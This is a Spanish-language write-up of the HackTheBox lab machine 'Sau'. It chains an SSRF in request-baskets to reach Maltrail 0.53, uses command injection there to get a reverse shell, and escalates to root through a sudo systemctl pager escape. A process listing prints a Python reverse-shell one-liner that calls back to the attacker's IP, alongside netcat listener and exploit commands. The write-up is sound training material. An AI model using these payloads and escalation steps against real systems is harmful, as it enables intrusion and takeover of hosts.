Sau
Máquina Sau de Hackthebox
Skills
- requests-baskets 1.2.1 Exploitation (SSRF - Server Side Request Forgery)
- Maltrail 0.53 Exploitation (RCE - Username Injection)
- Abusing sudoers privilege (systemctl) [Privilege Escalation]
Certificaciones
- eWPT
Descripción
Sau es una máquina easy linux, cuenta con una instancia de Request Baskets vulnerable a Server-Side Request Forgery (SSRF) mediante la vulnerabilidad CVE-2023-27163. Aprovechando esta vulnerabilidad, podemos acceder a una instancia de Maltrail que es vulnerable a una inyección de comandos del sistema operativo no autenticada, lo que nos permite obtener una reverse shell en la máquina como puma. Luego, se explota una mala configuración de sudo para obtener acceso como root
Reconocimiento
Se comprueba que la máquina está activa y se determina su sistema operativo, el ttl de las máquinas linux suele ser 64, en este caso hay un nodo intermediario que hace que el ttl disminuya en una unidad
1
2
3
4
5
6
7
8
9
# ping -c 3 10.129.155.57
PING 10.129.155.57 (10.129.155.57) 56(84) bytes of data.
64 bytes from 10.129.155.57: icmp_seq=1 ttl=63 time=37.1 ms
64 bytes from 10.129.155.57: icmp_seq=2 ttl=63 time=37.3 ms
64 bytes from 10.129.155.57: icmp_seq=3 ttl=63 time=37.9 ms
--- 10.129.155.57 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2003ms
rtt min/avg/max/mdev = 37.077/37.423/37.925/0.363 ms
Nmap
Se va a realizar un escaneo de todos los puertos abiertos en el protocolo TCP a través de nmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# sudo nmap -p- --open --min-rate 5000 -sS -Pn -n -v 10.129.155.57 -oG openPorts
[sudo] password for justice-reaper:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-30 17:24 CEST
Initiating SYN Stealth Scan at 17:24
Scanning 10.129.155.57 [65535 ports]
Discovered open port 22/tcp on 10.129.155.57
Discovered open port 55555/tcp on 10.129.155.57
Completed SYN Stealth Scan at 17:24, 11.20s elapsed (65535 total ports)
Nmap scan report for 10.129.155.57
Host is up (0.12s latency).
Not shown: 65531 closed tcp ports (reset), 2 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
22/tcp open ssh
55555/tcp open unknown
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 11.31 seconds
Raw packets sent: 65542 (2.884MB) | Rcvd: 65538 (2.622MB)
Se procede a realizar un análisis de detección de servicios y la identificación de versiones utilizando los puertos abiertos encontrados
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
# nmap -sCV -p 22,55555 10.129.155.57 -oN services
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-30 17:26 CEST
Nmap scan report for 10.129.155.57
Host is up (0.046s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 aa:88:67:d7:13:3d:08:3a:8a:ce:9d:c4:dd:f3:e1:ed (RSA)
| 256 ec:2e:b1:05:87:2a:0c:7d:b1:49:87:64:95:dc:8a:21 (ECDSA)
|_ 256 b3:0c:47:fb:a2:f2:12:cc:ce:0b:58:82:0e:50:43:36 (ED25519)
55555/tcp open unknown
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| X-Content-Type-Options: nosniff
| Date: Mon, 30 Sep 2024 15:26:56 GMT
| Content-Length: 75
| invalid basket name; the name does not match pattern: ^[wd-_\.]{1,250}$
| GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 302 Found
| Content-Type: text/html; charset=utf-8
| Location: /web
| Date: Mon, 30 Sep 2024 15:26:27 GMT
| Content-Length: 27
| href="/es-ES/web">Found</a>.
| HTTPOptions:
| HTTP/1.0 200 OK
| Allow: GET, OPTIONS
| Date: Mon, 30 Sep 2024 15:26:28 GMT
|_ Content-Length: 0
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port55555-TCP:V=7.94SVN%I=7%D=9/30%Time=66FAC323%P=x86_64-pc-linux-gnu%
SF:r(GetRequest,A2,"HTTP/1\.0\x20302\x20Found\r\nContent-Type:\x20text/htm
SF:l;\x20charset=utf-8\r\nLocation:\x20/web\r\nDate:\x20Mon,\x2030\x20Sep\
SF:x202024\x2015:26:27\x20GMT\r\nContent-Length:\x2027\r\n\r\n<a\x20href=\
SF:"/web\">Found</a>\.\n\n")%r(GenericLines,67,"HTTP/1\.1\x20400\x20Bad\x2
SF:0Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection
SF::\x20close\r\n\r\n400\x20Bad\x20Request")%r(HTTPOptions,60,"HTTP/1\.0\x
SF:20200\x20OK\r\nAllow:\x20GET,\x20OPTIONS\r\nDate:\x20Mon,\x2030\x20Sep\
SF:x202024\x2015:26:28\x20GMT\r\nContent-Length:\x200\r\n\r\n")%r(RTSPRequ
SF:est,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/pla
SF:in;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Reque
SF:st")%r(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20
SF:text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\
SF:x20Request")%r(SSLSessionReq,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\n
SF:Content-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r
SF:\n\r\n400\x20Bad\x20Request")%r(TerminalServerCookie,67,"HTTP/1\.1\x204
SF:00\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r
SF:\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(TLSSessionReq,6
SF:7,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x
SF:20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%
SF:r(Kerberos,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20t
SF:ext/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x
SF:20Request")%r(FourOhFourRequest,EA,"HTTP/1\.0\x20400\x20Bad\x20Request\
SF:r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nX-Content-Type-Opti
SF:ons:\x20nosniff\r\nDate:\x20Mon,\x2030\x20Sep\x202024\x2015:26:56\x20GM
SF:T\r\nContent-Length:\x2075\r\n\r\ninvalid\x20basket\x20name;\x20the\x20
SF:name\x20does\x20not\x20match\x20pattern:\x20\^\[\\w\\d\\-_\\\.\]{1,250}
SF:\$\n")%r(LPDString,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Ty
SF:pe:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\
SF:x20Bad\x20Request")%r(LDAPSearchReq,67,"HTTP/1\.1\x20400\x20Bad\x20Requ
SF:est\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20
SF:close\r\n\r\n400\x20Bad\x20Request");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 97.37 seconds
Web Enumeration
Si accedemos a http://10.129.155.57:55555/web vemos esta web
Cuando pulsamos en Create obtenemos un token
Si hacemos una petición al crear el basket aparecerá aquí
Si pulsamos en la rueda de configuración podemos configurar a que url irá la petición que hagamos http://10.129.155.57:55555/bydkk46, esto puede acontecer a un SSRF
Listamos los puertos filtrados de la máquina víctima
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# sudo nmap -p- --min-rate 5000 -sS -Pn -n -v 10.129.155.57
[sudo] password for justice-reaper:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-30 20:10 CEST
Initiating SYN Stealth Scan at 20:10
Scanning 10.129.155.57 [65535 ports]
Discovered open port 22/tcp on 10.129.155.57
Discovered open port 55555/tcp on 10.129.155.57
Completed SYN Stealth Scan at 20:10, 11.20s elapsed (65535 total ports)
Nmap scan report for 10.129.155.57
Host is up (0.064s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp filtered http
8338/tcp filtered unknown
55555/tcp open unknown
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 11.29 seconds
Raw packets sent: 65537 (2.884MB) | Rcvd: 65533 (2.621MB)
Configuramos la dirección url para ver el servicio que está corriendo en la máquina víctima por el puerto 80 y que no es visible para nosotros
Si accedemos a http://10.129.155.57:55555/bydkk46 nos redirigirá al servicio interno que tiene la máquina víctima montado en el puerto 80
Si a a la dirección url le añadimos una / al final nos cargará la página adecuadamente http://10.129.155.57:55555/bydkk46/
Web Exploitation
He usado este exploit https://github.com/spookier/Maltrail-v0.53-Exploit para ganar acceso a la máquina víctima. Lo primero que debemos hacer es ponernos en escucha con netcat
1
# nc -nlvp 1234
Ejecutamos el exploit
1
2
# python3 exploit.py 10.10.16.29 1234 http://10.129.155.57:55555/bydkk46
Running exploit on http://10.129.155.57:55555/bydkk46/login
Ganamos acceso a la máquina víctima
1
2
3
4
5
6
# nc -nlvp 1234
listening on [any] 1234 ...
connect to [10.10.16.29] from (UNKNOWN) [10.129.155.57] 40162
$ whoami
whoami
puma
Vamos a realizar el tratamiento a la TTY, para ello obtenemos las dimensiones de nuestra pantalla
1
2
# stty size
45 18
Efectuamos el tratamiento a la TTY
1
2
3
4
5
6
7
8
9
10
11
12
13
# script /dev/null -c bash
[ENTER]
[CTRL + Z]
# stty raw -echo; fg
[ENTER]
# reset xterm
[ENTER]
# export TERM=xterm
[ENTER]
# export SHELL=bash
[ENTER]
# stty rows 45 columns 183
[ENTER]
Privilege Escalation
Listamos los privilegios que posee nuestro usuario
1
2
3
4
5
6
puma@sau:/opt/maltrail$ sudo -l
Matching Defaults entries for puma on sau:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User puma may run the following commands on sau:
(ALL : ALL) NOPASSWD: /usr/bin/systemctl status trail.service
Nos convertimos en usuario root usando el pager, este concepto está explicado en https://gtfobins.github.io/gtfobins/systemctl/#sudo
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
puma@sau:/var/backups$ sudo /usr/bin/systemctl status trail.service
● trail.service - Maltrail. Server of malicious traffic detection system
Loaded: loaded (/etc/systemd/system/trail.service; enabled; vendor preset: enabled)
Active: active (running) since Mon 2024-09-30 15:15:10 UTC; 2h 19min ago
Docs: https://github.com/stamparm/maltrail#readme
https://github.com/stamparm/maltrail/wiki
Main PID: 868 (python3)
Tasks: 13 (limit: 4662)
Memory: 313.0M
CGroup: /system.slice/trail.service
├─ 868 /usr/bin/python3 server.py
├─ 1216 /bin/sh -c logger -p auth.info -t "maltrail[868]" "Failed password for ;`echo "cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxvcyxwdHk7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTk>
├─ 1217 /bin/sh -c logger -p auth.info -t "maltrail[868]" "Failed password for ;`echo "cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxvcyxwdHk7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTk>
├─ 1220 sh
├─ 1221 python3 -c import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.29",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os>
├─ 1222 /bin/sh
├─ 1259 script /dev/null -c bash
├─ 1260 bash
├─ 9039 gpg-agent --homedir /home/puma/.gnupg --use-standard-socket --daemon
├─16948 sudo /usr/bin/systemctl status trail.service
├─16949 /usr/bin/systemctl status trail.service
└─16950 pager
Sep 30 16:59:01 sau crontab[6200]: (puma) LIST (puma)
Sep 30 16:59:03 sau sudo[8441]: puma : TTY=pts/1 ; PWD=/home/puma ; USER=root ; COMMAND=list
Sep 30 16:59:03 sau nologin[8481]: Attempted login by UNKNOWN (UID: 1001) on UNKNOWN
Sep 30 17:19:05 sau sudo[16730]: puma : TTY=pts/1 ; PWD=/home/puma ; USER=root ; COMMAND=list
Sep 30 17:33:50 sau sudo[16946]: puma : TTY=pts/1 ; PWD=/var/backups ; USER=root ; COMMAND=list
Sep 30 17:34:02 sau sudo[16947]: pam_unix(sudo:auth): conversation failed
Sep 30 17:34:02 sau sudo[16947]: pam_unix(sudo:auth): auth could not identify password for [puma]
Sep 30 17:34:02 sau sudo[16947]: puma : command not allowed ; TTY=pts/1 ; PWD=/var/backups ; USER=root ; COMMAND=/usr/bin/systemctl
Sep 30 17:35:09 sau sudo[16948]: puma : TTY=pts/1 ; PWD=/var/backups ; USER=root ; COMMAND=/usr/bin/systemctl status trail.service
Sep 30 17:35:09 sau sudo[16948]: pam_unix(sudo:session): session opened for user root by (uid=0)
!sh
# whoami
root







